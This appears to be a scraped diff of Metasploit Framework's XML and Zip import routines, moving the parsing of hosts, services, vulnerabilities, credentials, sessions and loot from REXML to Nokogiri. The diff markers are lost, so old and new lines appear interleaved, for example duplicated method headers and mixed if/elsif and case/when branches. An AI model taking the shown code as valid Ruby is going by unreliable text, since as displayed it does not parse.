send(
|
||||
"import_msf_#{node.name}_element",
|
||||
Nokogiri::XML(node.outer_xml).at("./#{node.name}"),
|
||||
:allow_yaml => allow_yaml,
|
||||
:workspace => wspace,
|
||||
&block
|
||||
)
|
||||
end
|
||||
}
|
||||
host_address = host_data[:host].dup # Preserve after report_host() deletes
|
||||
hobj = report_host(host_data)
|
||||
|
||||
host.elements.each("host_details/host_detail") do |hdet|
|
||||
hdet_data = {}
|
||||
hdet.elements.each do |det|
|
||||
next if ["id", "host-id"].include?(det.name)
|
||||
if det.text
|
||||
hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
|
||||
end
|
||||
end
|
||||
report_host_details(hobj, hdet_data)
|
||||
end
|
||||
|
||||
host.elements.each("exploit_attempts/exploit_attempt") do |hdet|
|
||||
hdet_data = {}
|
||||
hdet.elements.each do |det|
|
||||
next if ["id", "host-id", "session-id", "vuln-id", "service-id", "loot-id"].include?(det.name)
|
||||
if det.text
|
||||
hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
|
||||
end
|
||||
end
|
||||
report_exploit_attempt(hobj, hdet_data)
|
||||
end
|
||||
|
||||
host.elements.each('services/service') do |service|
|
||||
service_data = {}
|
||||
service_data[:task] = args[:task]
|
||||
service_data[:workspace] = wspace
|
||||
service_data[:host] = hobj
|
||||
service_data[:port] = nils_for_nulls(service.elements["port"].text.to_s.strip).to_i
|
||||
service_data[:proto] = nils_for_nulls(service.elements["proto"].text.to_s.strip)
|
||||
%W{created-at updated-at name state info}.each { |datum|
|
||||
if service.elements[datum].text
|
||||
if datum == "info"
|
||||
service_data["info"] = nils_for_nulls(unserialize_object(service.elements[datum], false))
|
||||
else
|
||||
service_data[datum.gsub("-","_")] = nils_for_nulls(service.elements[datum].text.to_s.strip)
|
||||
end
|
||||
end
|
||||
}
|
||||
report_service(service_data)
|
||||
end
|
||||
|
||||
host.elements.each('notes/note') do |note|
|
||||
note_data = {}
|
||||
note_data[:workspace] = wspace
|
||||
note_data[:host] = hobj
|
||||
import_msf_note_element(note,allow_yaml,note_data)
|
||||
end
|
||||
|
||||
host.elements.each('tags/tag') do |tag|
|
||||
tag_data = {}
|
||||
tag_data[:addr] = host_address
|
||||
tag_data[:wspace] = wspace
|
||||
tag_data[:name] = tag.elements["name"].text.to_s.strip
|
||||
tag_data[:desc] = tag.elements["desc"].text.to_s.strip
|
||||
if tag.elements["report-summary"].text
|
||||
tag_data[:summary] = tag.elements["report-summary"].text.to_s.strip
|
||||
end
|
||||
if tag.elements["report-detail"].text
|
||||
tag_data[:detail] = tag.elements["report-detail"].text.to_s.strip
|
||||
end
|
||||
if tag.elements["critical"].text
|
||||
tag_data[:crit] = true unless tag.elements["critical"].text.to_s.strip == "NULL"
|
||||
end
|
||||
report_host_tag(tag_data)
|
||||
end
|
||||
|
||||
host.elements.each('vulns/vuln') do |vuln|
|
||||
vuln_data = {}
|
||||
vuln_data[:workspace] = wspace
|
||||
vuln_data[:host] = hobj
|
||||
vuln_data[:info] = nils_for_nulls(unserialize_object(vuln.elements["info"], allow_yaml))
|
||||
vuln_data[:name] = nils_for_nulls(vuln.elements["name"].text.to_s.strip)
|
||||
%W{created-at updated-at exploited-at}.each { |datum|
|
||||
if vuln.elements[datum] and vuln.elements[datum].text
|
||||
vuln_data[datum.gsub("-","_")] = nils_for_nulls(vuln.elements[datum].text.to_s.strip)
|
||||
end
|
||||
}
|
||||
if vuln.elements["refs"]
|
||||
vuln_data[:refs] = []
|
||||
vuln.elements.each("refs/ref") do |ref|
|
||||
vuln_data[:refs] << nils_for_nulls(ref.text.to_s.strip)
|
||||
end
|
||||
end
|
||||
|
||||
vobj = report_vuln(vuln_data)
|
||||
|
||||
vuln.elements.each("notes/note") do |note|
|
||||
note_data = {}
|
||||
note_data[:workspace] = wspace
|
||||
note_data[:vuln_id] = vobj.id
|
||||
import_msf_note_element(note,allow_yaml,note_data)
|
||||
end
|
||||
|
||||
vuln.elements.each("vuln_details/vuln_detail") do |vdet|
|
||||
vdet_data = {}
|
||||
vdet.elements.each do |det|
|
||||
next if ["id", "vuln-id"].include?(det.name)
|
||||
if det.text
|
||||
vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
|
||||
end
|
||||
end
|
||||
report_vuln_details(vobj, vdet_data)
|
||||
end
|
||||
|
||||
vuln.elements.each("vuln_attempts/vuln_attempt") do |vdet|
|
||||
vdet_data = {}
|
||||
vdet.elements.each do |det|
|
||||
next if ["id", "vuln-id", "loot-id", "session-id"].include?(det.name)
|
||||
if det.text
|
||||
vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
|
||||
end
|
||||
end
|
||||
report_vuln_attempt(vobj, vdet_data)
|
||||
end
|
||||
end
|
||||
|
||||
## Handle old-style (pre 4.10) XML files
|
||||
if btag == "MetasploitV4"
|
||||
if host.elements['creds'].present?
|
||||
unless host.elements['creds'].elements.empty?
|
||||
origin = Metasploit::Credential::Origin::Import.create(filename: "console-import-#{Time.now.to_i}")
|
||||
|
||||
host.elements.each('creds/cred') do |cred|
|
||||
username = cred.elements['user'].try(:text)
|
||||
proto = cred.elements['proto'].try(:text)
|
||||
sname = cred.elements['sname'].try(:text)
|
||||
port = cred.elements['port'].try(:text)
|
||||
|
||||
# Handle blanks by resetting to sane default values
|
||||
proto = "tcp" if proto.blank?
|
||||
pass = cred.elements['pass'].try(:text)
|
||||
pass = "" if pass == "*MASKED*"
|
||||
|
||||
private = create_credential_private(private_data: pass, private_type: :password)
|
||||
public = create_credential_public(username: username)
|
||||
core = create_credential_core(private: private, public: public, origin: origin, workspace_id: wspace.id)
|
||||
|
||||
create_credential_login(core: core,
|
||||
workspace_id: wspace.id,
|
||||
address: hobj.address,
|
||||
port: port,
|
||||
protocol: proto,
|
||||
service_name: sname,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
host.elements.each('sessions/session') do |sess|
|
||||
sess_id = nils_for_nulls(sess.elements["id"].text.to_s.strip.to_i)
|
||||
sess_data = {}
|
||||
sess_data[:host] = hobj
|
||||
%W{desc platform port stype}.each {|datum|
|
||||
if sess.elements[datum].respond_to? :text
|
||||
sess_data[datum.intern] = nils_for_nulls(sess.elements[datum].text.to_s.strip)
|
||||
end
|
||||
}
|
||||
%W{opened-at close-reason closed-at via-exploit via-payload}.each {|datum|
|
||||
if sess.elements[datum].respond_to? :text
|
||||
sess_data[datum.gsub("-","_").intern] = nils_for_nulls(sess.elements[datum].text.to_s.strip)
|
||||
end
|
||||
}
|
||||
sess_data[:datastore] = nils_for_nulls(unserialize_object(sess.elements["datastore"], allow_yaml))
|
||||
if sess.elements["routes"]
|
||||
sess_data[:routes] = nils_for_nulls(unserialize_object(sess.elements["routes"], allow_yaml)) || []
|
||||
end
|
||||
if not sess_data[:closed_at] # Fake a close if we don't already have one
|
||||
sess_data[:closed_at] = Time.now.utc
|
||||
sess_data[:close_reason] = "Imported at #{Time.now.utc}"
|
||||
end
|
||||
|
||||
existing_session = get_session(
|
||||
:workspace => sess_data[:host].workspace,
|
||||
:addr => sess_data[:host].address,
|
||||
:time => sess_data[:opened_at]
|
||||
)
|
||||
this_session = existing_session || report_session(sess_data)
|
||||
next if existing_session
|
||||
sess.elements.each('events/event') do |sess_event|
|
||||
sess_event_data = {}
|
||||
sess_event_data[:session] = this_session
|
||||
%W{created-at etype local-path remote-path}.each {|datum|
|
||||
if sess_event.elements[datum].respond_to? :text
|
||||
sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(sess_event.elements[datum].text.to_s.strip)
|
||||
end
|
||||
}
|
||||
%W{command output}.each {|datum|
|
||||
if sess_event.elements[datum].respond_to? :text
|
||||
sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(unserialize_object(sess_event.elements[datum], allow_yaml))
|
||||
end
|
||||
}
|
||||
report_session_event(sess_event_data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Import web sites
|
||||
doc.elements.each("/#{btag}/web_sites/web_site") do |web|
|
||||
info = {}
|
||||
info[:workspace] = wspace
|
||||
|
||||
%W{host port vhost ssl comments}.each do |datum|
|
||||
if web.elements[datum].respond_to? :text
|
||||
info[datum.intern] = nils_for_nulls(web.elements[datum].text.to_s.strip)
|
||||
end
|
||||
end
|
||||
|
||||
info[:options] = nils_for_nulls(unserialize_object(web.elements["options"], allow_yaml)) if web.elements["options"].respond_to?(:text)
|
||||
info[:ssl] = (info[:ssl] and info[:ssl].to_s.strip.downcase == "true") ? true : false
|
||||
|
||||
%W{created-at updated-at}.each { |datum|
|
||||
if web.elements[datum].text
|
||||
info[datum.gsub("-","_")] = nils_for_nulls(web.elements[datum].text.to_s.strip)
|
||||
end
|
||||
}
|
||||
|
||||
report_web_site(info)
|
||||
yield(:web_site, "#{info[:host]}:#{info[:port]} (#{info[:vhost]})") if block
|
||||
end
|
||||
|
||||
%W{page form vuln}.each do |wtype|
|
||||
doc.elements.each("/#{btag}/web_#{wtype}s/web_#{wtype}") do |element|
|
||||
send(
|
||||
"import_msf_web_#{wtype}_element",
|
||||
element,
|
||||
:allow_yaml => allow_yaml,
|
||||
:workspace => wspace,
|
||||
&block
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Parses website Nokogiri::XML::Element
|
||||
def parse_web_site(web, wspace, bl, allow_yaml, btag, args, &block)
|
||||
# Import web sites
|
||||
info = {}
|
||||
info[:workspace] = wspace
|
||||
|
||||
%W{host port vhost ssl comments}.each do |datum|
|
||||
if web.at(datum).respond_to? :text
|
||||
info[datum.intern] = nils_for_nulls(web.at(datum).text.to_s.strip)
|
||||
end
|
||||
end
|
||||
|
||||
info[:options] = nils_for_nulls(unserialize_object(web.at("options"), allow_yaml)) if web.at("options").respond_to?(:text)
|
||||
info[:ssl] = (info[:ssl] and info[:ssl].to_s.strip.downcase == "true") ? true : false
|
||||
|
||||
%W{created-at updated-at}.each { |datum|
|
||||
if web.at(datum).text
|
||||
info[datum.gsub("-","_")] = nils_for_nulls(web.at(datum).text.to_s.strip)
|
||||
end
|
||||
}
|
||||
|
||||
report_web_site(info)
|
||||
yield(:web_site, "#{info[:host]}:#{info[:port]} (#{info[:vhost]})") if block
|
||||
end
|
||||
|
||||
# Parses host Nokogiri::XML::Element
|
||||
def parse_host(host, wspace, bl, allow_yaml, btag, args, &block)
|
||||
|
||||
host_data = {}
|
||||
host_data[:task] = args[:task]
|
||||
host_data[:workspace] = wspace
|
||||
|
||||
# A regression resulted in the address field being serialized in some cases.
|
||||
# Lets handle both instances to keep things happy. See #5837 & #5985
|
||||
addr = nils_for_nulls(host.at('address'))
|
||||
return 0 unless addr
|
||||
|
||||
# No period or colon means this must be in base64-encoded serialized form
|
||||
if addr !~ /[\.\:]/
|
||||
addr = unserialize_object(addr)
|
||||
end
|
||||
|
||||
host_data[:host] = addr
|
||||
if bl.include? host_data[:host]
|
||||
return 0
|
||||
else
|
||||
yield(:address,host_data[:host]) if block
|
||||
end
|
||||
host_data[:mac] = nils_for_nulls(host.at("mac").text.to_s.strip)
|
||||
if host.at("comm").text
|
||||
host_data[:comm] = nils_for_nulls(host.at("comm").text.to_s.strip)
|
||||
end
|
||||
%W{created-at updated-at name state os-flavor os-lang os-name os-sp purpose}.each { |datum|
|
||||
if host.at(datum).text
|
||||
host_data[datum.gsub('-','_')] = nils_for_nulls(host.at(datum).text.to_s.strip)
|
||||
end
|
||||
}
|
||||
host_address = host_data[:host].dup # Preserve after report_host() deletes
|
||||
hobj = report_host(host_data)
|
||||
|
||||
host.xpath("host_details/host_detail").each do |hdet|
|
||||
hdet_data = {}
|
||||
hdet.elements.each do |det|
|
||||
return 0 if ["id", "host-id"].include?(det.name)
|
||||
if det.text
|
||||
hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
|
||||
end
|
||||
end
|
||||
report_host_details(hobj, hdet_data)
|
||||
end
|
||||
|
||||
host.xpath("exploit_attempts/exploit_attempt").each do |hdet|
|
||||
hdet_data = {}
|
||||
hdet.elements.each do |det|
|
||||
return 0 if ["id", "host-id", "session-id", "vuln-id", "service-id", "loot-id"].include?(det.name)
|
||||
if det.text
|
||||
hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
|
||||
end
|
||||
end
|
||||
report_exploit_attempt(hobj, hdet_data)
|
||||
end
|
||||
|
||||
host.xpath('services/service').each do |service|
|
||||
service_data = {}
|
||||
service_data[:task] = args[:task]
|
||||
service_data[:workspace] = wspace
|
||||
service_data[:host] = hobj
|
||||
service_data[:port] = nils_for_nulls(service.at("port").text.to_s.strip).to_i
|
||||
service_data[:proto] = nils_for_nulls(service.at("proto").text.to_s.strip)
|
||||
%W{created-at updated-at name state info}.each { |datum|
|
||||
if service.at(datum).text
|
||||
if datum == "info"
|
||||
service_data["info"] = nils_for_nulls(unserialize_object(service.at(datum), false))
|
||||
else
|
||||
service_data[datum.gsub("-","_")] = nils_for_nulls(service.at(datum).text.to_s.strip)
|
||||
end
|
||||
end
|
||||
}
|
||||
report_service(service_data)
|
||||
end
|
||||
|
||||
host.xpath('notes/note').each do |note|
|
||||
note_data = {}
|
||||
note_data[:workspace] = wspace
|
||||
note_data[:host] = hobj
|
||||
import_msf_note_element(note,allow_yaml,note_data)
|
||||
end
|
||||
|
||||
host.xpath('tags/tag').each do |tag|
|
||||
tag_data = {}
|
||||
tag_data[:addr] = host_address
|
||||
tag_data[:wspace] = wspace
|
||||
tag_data[:name] = tag.at("name").text.to_s.strip
|
||||
tag_data[:desc] = tag.at("desc").text.to_s.strip
|
||||
if tag.at("report-summary").text
|
||||
tag_data[:summary] = tag.at("report-summary").text.to_s.strip
|
||||
end
|
||||
if tag.at("report-detail").text
|
||||
tag_data[:detail] = tag.at("report-detail").text.to_s.strip
|
||||
end
|
||||
if tag.at("critical").text
|
||||
tag_data[:crit] = true unless tag.at("critical").text.to_s.strip == "NULL"
|
||||
end
|
||||
report_host_tag(tag_data)
|
||||
end
|
||||
|
||||
host.xpath('vulns/vuln').each do |vuln|
|
||||
vuln_data = {}
|
||||
vuln_data[:workspace] = wspace
|
||||
vuln_data[:host] = hobj
|
||||
vuln_data[:info] = nils_for_nulls(unserialize_object(vuln.at("info"), allow_yaml))
|
||||
vuln_data[:name] = nils_for_nulls(vuln.at("name").text.to_s.strip)
|
||||
%W{created-at updated-at exploited-at}.each { |datum|
|
||||
if vuln.at(datum) and vuln.at(datum).text
|
||||
vuln_data[datum.gsub("-","_")] = nils_for_nulls(vuln.at(datum).text.to_s.strip)
|
||||
end
|
||||
}
|
||||
if vuln.at("refs")
|
||||
vuln_data[:refs] = []
|
||||
vuln.xpath("refs/ref").each do |ref|
|
||||
vuln_data[:refs] << nils_for_nulls(ref.text.to_s.strip)
|
||||
end
|
||||
end
|
||||
|
||||
vobj = report_vuln(vuln_data)
|
||||
|
||||
vuln.xpath("notes/note").each do |note|
|
||||
note_data = {}
|
||||
note_data[:workspace] = wspace
|
||||
note_data[:vuln_id] = vobj.id
|
||||
import_msf_note_element(note,allow_yaml,note_data)
|
||||
end
|
||||
|
||||
vuln.xpath("vuln_details/vuln_detail").each do |vdet|
|
||||
vdet_data = {}
|
||||
vdet.elements.each do |det|
|
||||
return 0 if ["id", "vuln-id"].include?(det.name)
|
||||
if det.text
|
||||
vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
|
||||
end
|
||||
end
|
||||
report_vuln_details(vobj, vdet_data)
|
||||
end
|
||||
|
||||
vuln.xpath("vuln_attempts/vuln_attempt").each do |vdet|
|
||||
vdet_data = {}
|
||||
vdet.elements.each do |det|
|
||||
return 0 if ["id", "vuln-id", "loot-id", "session-id"].include?(det.name)
|
||||
if det.text
|
||||
vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
|
||||
end
|
||||
end
|
||||
report_vuln_attempt(vobj, vdet_data)
|
||||
end
|
||||
end
|
||||
|
||||
## Handle old-style (pre 4.10) XML files
|
||||
if btag == "MetasploitV4"
|
||||
if host.at('creds').present?
|
||||
unless host.at('creds').elements.empty?
|
||||
origin = Metasploit::Credential::Origin::Import.create(filename: "console-import-#{Time.now.to_i}")
|
||||
|
||||
host.xpath('creds/cred').each do |cred|
|
||||
username = cred.at('user').try(:text)
|
||||
proto = cred.at('proto').try(:text)
|
||||
sname = cred.at('sname').try(:text)
|
||||
port = cred.at('port').try(:text)
|
||||
|
||||
# Handle blanks by resetting to sane default values
|
||||
proto = "tcp" if proto.blank?
|
||||
pass = cred.at('pass').try(:text)
|
||||
pass = "" if pass == "*MASKED*"
|
||||
|
||||
private = create_credential_private(private_data: pass, private_type: :password)
|
||||
public = create_credential_public(username: username)
|
||||
core = create_credential_core(private: private, public: public, origin: origin, workspace_id: wspace.id)
|
||||
|
||||
create_credential_login(core: core,
|
||||
workspace_id: wspace.id,
|
||||
address: hobj.address,
|
||||
port: port,
|
||||
protocol: proto,
|
||||
service_name: sname,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
host.xpath('sessions/session').each do |sess|
|
||||
sess_id = nils_for_nulls(sess.at("id").text.to_s.strip.to_i)
|
||||
sess_data = {}
|
||||
sess_data[:host] = hobj
|
||||
%W{desc platform port stype}.each {|datum|
|
||||
if sess.at(datum).respond_to? :text
|
||||
sess_data[datum.intern] = nils_for_nulls(sess.at(datum).text.to_s.strip)
|
||||
end
|
||||
}
|
||||
%W{opened-at close-reason closed-at via-exploit via-payload}.each {|datum|
|
||||
if sess.at(datum).respond_to? :text
|
||||
sess_data[datum.gsub("-","_").intern] = nils_for_nulls(sess.at(datum).text.to_s.strip)
|
||||
end
|
||||
}
|
||||
sess_data[:datastore] = nils_for_nulls(unserialize_object(sess.at("datastore"), allow_yaml))
|
||||
if sess.at("routes")
|
||||
sess_data[:routes] = nils_for_nulls(unserialize_object(sess.at("routes"), allow_yaml)) || []
|
||||
end
|
||||
if not sess_data[:closed_at] # Fake a close if we don't already have one
|
||||
sess_data[:closed_at] = Time.now.utc
|
||||
sess_data[:close_reason] = "Imported at #{Time.now.utc}"
|
||||
end
|
||||
|
||||
existing_session = get_session(
|
||||
:workspace => sess_data[:host].workspace,
|
||||
:addr => sess_data[:host].address,
|
||||
:time => sess_data[:opened_at]
|
||||
)
|
||||
this_session = existing_session || report_session(sess_data)
|
||||
return 0 if existing_session
|
||||
sess.xpath('events/event').each do |sess_event|
|
||||
sess_event_data = {}
|
||||
sess_event_data[:session] = this_session
|
||||
%W{created-at etype local-path remote-path}.each {|datum|
|
||||
if sess_event.at(datum).respond_to? :text
|
||||
sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(sess_event.at(datum).text.to_s.strip)
|
||||
end
|
||||
}
|
||||
%W{command output}.each {|datum|
|
||||
if sess_event.at(datum).respond_to? :text
|
||||
sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(unserialize_object(sess_event.at(datum), allow_yaml))
|
||||
end
|
||||
}
|
||||
report_session_event(sess_event_data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Checks if the XML document has a format version that the importer
|
||||
# understands.
|
||||
#
|
||||
# @param document [REXML::Document] a REXML::Document produced by
|
||||
# {Msf::DBManager#rexmlify}.
|
||||
# @param name [String] the root node name produced by
|
||||
# {Nokogiri::XML::Reader#from_memory}.
|
||||
# @return [Hash{Symbol => Object}] `:allow_yaml` is true if the format
|
||||
# requires YAML loading when calling
|
||||
# {Msf::DBManager#unserialize_object}. `:root_tag` the tag name of the
|
||||
# root element for MSF XML.
|
||||
# @raise [Msf::DBImportError] if unsupported format
|
||||
def check_msf_xml_version!(document)
|
||||
def check_msf_xml_version!(name)
|
||||
|
||||
metadata = {
|
||||
# FIXME https://www.pivotaltracker.com/story/show/47128407
|
||||
:allow_yaml => false,
|
||||
:root_tag => nil
|
||||
}
|
||||
|
||||
if document.elements['MetasploitExpressV1']
|
||||
case name
|
||||
when 'MetasploitExpressV1'
|
||||
# FIXME https://www.pivotaltracker.com/story/show/47128407
|
||||
metadata[:allow_yaml] = true
|
||||
metadata[:root_tag] = 'MetasploitExpressV1'
|
||||
elsif document.elements['MetasploitExpressV2']
|
||||
when 'MetasploitExpressV2'
|
||||
# FIXME https://www.pivotaltracker.com/story/show/47128407
|
||||
metadata[:allow_yaml] = true
|
||||
metadata[:root_tag] = 'MetasploitExpressV2'
|
||||
elsif document.elements['MetasploitExpressV3']
|
||||
when 'MetasploitExpressV3'
|
||||
metadata[:root_tag] = 'MetasploitExpressV3'
|
||||
elsif document.elements['MetasploitExpressV4']
|
||||
when 'MetasploitExpressV4'
|
||||
metadata[:root_tag] = 'MetasploitExpressV4'
|
||||
elsif document.elements['MetasploitV4']
|
||||
when 'MetasploitV4'
|
||||
metadata[:root_tag] = 'MetasploitV4'
|
||||
elsif document.elements['MetasploitV5']
|
||||
when 'MetasploitV5'
|
||||
metadata[:root_tag] = 'MetasploitV5'
|
||||
end
|
||||
|
||||
|
@ -553,7 +564,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
|||
|
||||
# Retrieves text of element if it exists.
|
||||
#
|
||||
# @param parent_element [REXML::Element] element under which element with
|
||||
# @param parent_element [Nokogiri::XML::Element] element under which element with
|
||||
# `child_name` exists.
|
||||
# @param child_name [String] the name of the element under
|
||||
# `parent_element` whose text should be returned
|
||||
|
@ -564,7 +575,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
|||
# @return [nil] if element with `child_name` does not exist under
|
||||
# `parent_element`.
|
||||
def import_msf_text_element(parent_element, child_name)
|
||||
child_element = parent_element.elements[child_name]
|
||||
child_element = parent_element.at(child_name)
|
||||
info = {}
|
||||
|
||||
if child_element
|
||||
|
@ -577,10 +588,10 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
|||
end
|
||||
|
||||
# Imports web_form, web_page, or web_vuln element using
|
||||
# {Msf::DBManager#report_web_form}, {Msf::DBManager#report_web_page}, and
|
||||
# {Msf::DBManager#report_web_vuln}, respectively.
|
||||
# Msf::DBManager#report_web_form, Msf::DBManager#report_web_page, and
|
||||
# Msf::DBManager#report_web_vuln, respectively.
|
||||
#
|
||||
# @param element [REXML::Element] the web_form, web_page, or web_vuln
|
||||
# @param element [Nokogiri::XML::Element] the web_form, web_page, or web_vuln
|
||||
# element.
|
||||
# @param options [Hash{Symbol => Object}] options
|
||||
# @option options [Boolean] :allow_yaml (false) Whether to allow YAML when
|
||||
|
@ -593,7 +604,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
|||
# (Msf::DBManager#workspace) workspace under which to report the
|
||||
# imported record.
|
||||
# @yield [element, options]
|
||||
# @yieldparam element [REXML::Element] the web_form, web_page, or
|
||||
# @yieldparam element [Nokogiri::XML::Element] the web_form, web_page, or
|
||||
# web_vuln element passed to {#import_msf_web_element}.
|
||||
# @yieldparam options [Hash{Symbol => Object}] options for parsing
|
||||
# @yieldreturn [Hash{Symbol => Object}] info
|
||||
|
|
|
@ -10,22 +10,23 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
|||
allow_yaml = false
|
||||
btag = nil
|
||||
|
||||
doc = rexmlify(data)
|
||||
if doc.elements["MetasploitExpressV1"]
|
||||
doc = Nokogiri::XML::Reader.from_memory(data)
|
||||
case doc.first.name
|
||||
when "MetasploitExpressV1"
|
||||
m_ver = 1
|
||||
allow_yaml = true
|
||||
btag = "MetasploitExpressV1"
|
||||
elsif doc.elements["MetasploitExpressV2"]
|
||||
when "MetasploitExpressV2"
|
||||
m_ver = 2
|
||||
allow_yaml = true
|
||||
btag = "MetasploitExpressV2"
|
||||
elsif doc.elements["MetasploitExpressV3"]
|
||||
when "MetasploitExpressV3"
|
||||
m_ver = 3
|
||||
btag = "MetasploitExpressV3"
|
||||
elsif doc.elements["MetasploitExpressV4"]
|
||||
when "MetasploitExpressV4"
|
||||
m_ver = 4
|
||||
btag = "MetasploitExpressV4"
|
||||
elsif doc.elements["MetasploitV4"]
|
||||
when "MetasploitV4"
|
||||
m_ver = 4
|
||||
btag = "MetasploitV4"
|
||||
else
|
||||
|
@ -36,111 +37,121 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
|||
end
|
||||
|
||||
host_info = {}
|
||||
doc.elements.each("/#{btag}/hosts/host") do |host|
|
||||
host_info[host.elements["id"].text.to_s.strip] = nils_for_nulls(host.elements["address"].text.to_s.strip)
|
||||
end
|
||||
|
||||
# Import Loot
|
||||
doc.elements.each("/#{btag}/loots/loot") do |loot|
|
||||
next if bl.include? host_info[loot.elements["host-id"].text.to_s.strip]
|
||||
loot_info = {}
|
||||
loot_info[:host] = host_info[loot.elements["host-id"].text.to_s.strip]
|
||||
loot_info[:workspace] = args[:wspace]
|
||||
loot_info[:ctype] = nils_for_nulls(loot.elements["content-type"].text.to_s.strip)
|
||||
loot_info[:info] = nils_for_nulls(unserialize_object(loot.elements["info"], allow_yaml))
|
||||
loot_info[:ltype] = nils_for_nulls(loot.elements["ltype"].text.to_s.strip)
|
||||
loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip)
|
||||
loot_info[:created_at] = nils_for_nulls(loot.elements["created-at"].text.to_s.strip)
|
||||
loot_info[:updated_at] = nils_for_nulls(loot.elements["updated-at"].text.to_s.strip)
|
||||
loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip)
|
||||
loot_info[:orig_path] = nils_for_nulls(loot.elements["path"].text.to_s.strip)
|
||||
loot_info[:task] = args[:task]
|
||||
tmp = args[:ifd][:zip_tmp]
|
||||
loot_info[:orig_path].gsub!(/^\./,tmp) if loot_info[:orig_path]
|
||||
if !loot.elements["service-id"].text.to_s.strip.empty?
|
||||
unless loot.elements["service-id"].text.to_s.strip == "NULL"
|
||||
loot_info[:service] = loot.elements["service-id"].text.to_s.strip
|
||||
doc.each do |node|
|
||||
if ['host', 'loot', 'task', 'report'].include?(node.name)
|
||||
unless node.inner_xml.empty?
|
||||
send("parse_zip_#{node.name}", Nokogiri::XML(node.outer_xml).at("./#{node.name}"), wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Only report loot if we actually have it.
|
||||
# TODO: Copypasta. Separate this out.
|
||||
if ::File.exists? loot_info[:orig_path]
|
||||
loot_dir = ::File.join(basedir,"loot")
|
||||
loot_file = ::File.split(loot_info[:orig_path]).last
|
||||
if ::File.exists? loot_dir
|
||||
unless (::File.directory?(loot_dir) && ::File.writable?(loot_dir))
|
||||
raise Msf::DBImportError.new("Could not move files to #{loot_dir}")
|
||||
end
|
||||
else
|
||||
::FileUtils.mkdir_p(loot_dir)
|
||||
end
|
||||
new_loot = ::File.join(loot_dir,loot_file)
|
||||
loot_info[:path] = new_loot
|
||||
if ::File.exists?(new_loot)
|
||||
::File.unlink new_loot # Delete it, and don't report it.
|
||||
else
|
||||
report_loot(loot_info) # It's new, so report it.
|
||||
end
|
||||
::FileUtils.copy(loot_info[:orig_path], new_loot)
|
||||
yield(:msf_loot, new_loot) if block
|
||||
# Parses host Nokogiri::XML::Element
|
||||
def parse_zip_host(host, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
|
||||
host_info[host.at("id").text.to_s.strip] = nils_for_nulls(host.at("address").text.to_s.strip)
|
||||
end
|
||||
|
||||
# Parses loot Nokogiri::XML::Element
|
||||
def parse_zip_loot(loot, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
|
||||
return 0 if bl.include? host_info[loot.at("host-id").text.to_s.strip]
|
||||
loot_info = {}
|
||||
loot_info[:host] = host_info[loot.at("host-id").text.to_s.strip]
|
||||
loot_info[:workspace] = args[:wspace]
|
||||
loot_info[:ctype] = nils_for_nulls(loot.at("content-type").text.to_s.strip)
|
||||
loot_info[:info] = nils_for_nulls(unserialize_object(loot.at("info"), allow_yaml))
|
||||
loot_info[:ltype] = nils_for_nulls(loot.at("ltype").text.to_s.strip)
|
||||
loot_info[:name] = nils_for_nulls(loot.at("name").text.to_s.strip)
|
||||
loot_info[:created_at] = nils_for_nulls(loot.at("created-at").text.to_s.strip)
|
||||
loot_info[:updated_at] = nils_for_nulls(loot.at("updated-at").text.to_s.strip)
|
||||
loot_info[:name] = nils_for_nulls(loot.at("name").text.to_s.strip)
|
||||
loot_info[:orig_path] = nils_for_nulls(loot.at("path").text.to_s.strip)
|
||||
loot_info[:task] = args[:task]
|
||||
tmp = args[:ifd][:zip_tmp]
|
||||
loot_info[:orig_path].gsub!(/^\./,tmp) if loot_info[:orig_path]
|
||||
if !loot.at("service-id").text.to_s.strip.empty?
|
||||
unless loot.at("service-id").text.to_s.strip == "NULL"
|
||||
loot_info[:service] = loot.at("service-id").text.to_s.strip
|
||||
end
|
||||
end
|
||||
|
||||
# Import Tasks
|
||||
doc.elements.each("/#{btag}/tasks/task") do |task|
|
||||
task_info = {}
|
||||
task_info[:workspace] = args[:wspace]
|
||||
# Should user be imported (original) or declared (the importing user)?
|
||||
task_info[:user] = nils_for_nulls(task.elements["created-by"].text.to_s.strip)
|
||||
task_info[:desc] = nils_for_nulls(task.elements["description"].text.to_s.strip)
|
||||
task_info[:info] = nils_for_nulls(unserialize_object(task.elements["info"], allow_yaml))
|
||||
task_info[:mod] = nils_for_nulls(task.elements["module"].text.to_s.strip)
|
||||
task_info[:options] = nils_for_nulls(task.elements["options"].text.to_s.strip)
|
||||
task_info[:prog] = nils_for_nulls(task.elements["progress"].text.to_s.strip).to_i
|
||||
